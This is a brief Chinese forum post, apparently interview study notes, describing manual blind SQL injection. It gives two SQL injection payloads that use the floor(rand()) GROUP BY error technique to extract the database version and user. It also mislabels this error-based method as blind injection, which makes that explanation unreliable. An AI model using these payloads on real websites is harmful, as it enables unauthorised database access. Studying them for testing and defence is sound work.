一笑而过2222
10-15 18:54 中山大学 测试工程师
关注
- 手工盲注是在不显示详细错误信息的情况下进行SQL注入的方法。例如，通过判断页面是否有变化来获取数据库信息。
- 常见的语句如：
- 判断数据库版本： and 1=(select 1 from (select count(*),concat(floor(rand(0)*2),(substr((select version()),1,1))) as x from information_schema.tables group by x) a)
- 判断数据库用户名： and 1=(select 1 from (select count(*),concat(floor(rand(0)*2),(substr((select user()),1,1))) as x from information_schema.tables group by x) a)
查看原帖
1 评论
相关推荐
点赞 评论 收藏
分享
点赞 评论 收藏
分享
牛客热帖
正在热议
# 25届秋招公司红黑榜 #
23955次浏览 192人参与
# 在找工作求抱抱 #
819531次浏览 9143人参与
# 字节求职进展汇总 #
278846次浏览 3213人参与
# 一人分享一句让你在秋招振作起来的话 #
11714次浏览 256人参与
# 海康威视求职进展汇总 #
297658次浏览 2843人参与
# 你最希望上岸的公司是？ #
15906次浏览 176人参与
# 你的简历改到第几版了 #
650391次浏览 9524人参与
# 找实习多的是你不知道的事 #
1242873次浏览 17633人参与
# 海康威视求职进展 #
22086次浏览 154人参与
# 最后再改一次简历 #
1721356次浏览 27414人参与
# 如何写一份好简历 #
557805次浏览 8096人参与
# 我想象的实习vs现实的实习 #
215961次浏览 1920人参与
# 写简历别走弯路 #
586155次浏览 7266人参与
# 24届秋招同行攻略分享 #
808805次浏览 12316人参与
# 我的简历长这样 #
1655685次浏览 25934人参与
# 公司情报交流地 #
22422次浏览 148人参与
# 金融银行求职进展汇总 #
6460次浏览 51人参与
# 你已经投递多少份简历了 #
577080次浏览 7104人参与
# 产品人求职现状 #
100752次浏览 1306人参与
# 双非有机会进大厂吗 #
30010次浏览 274人参与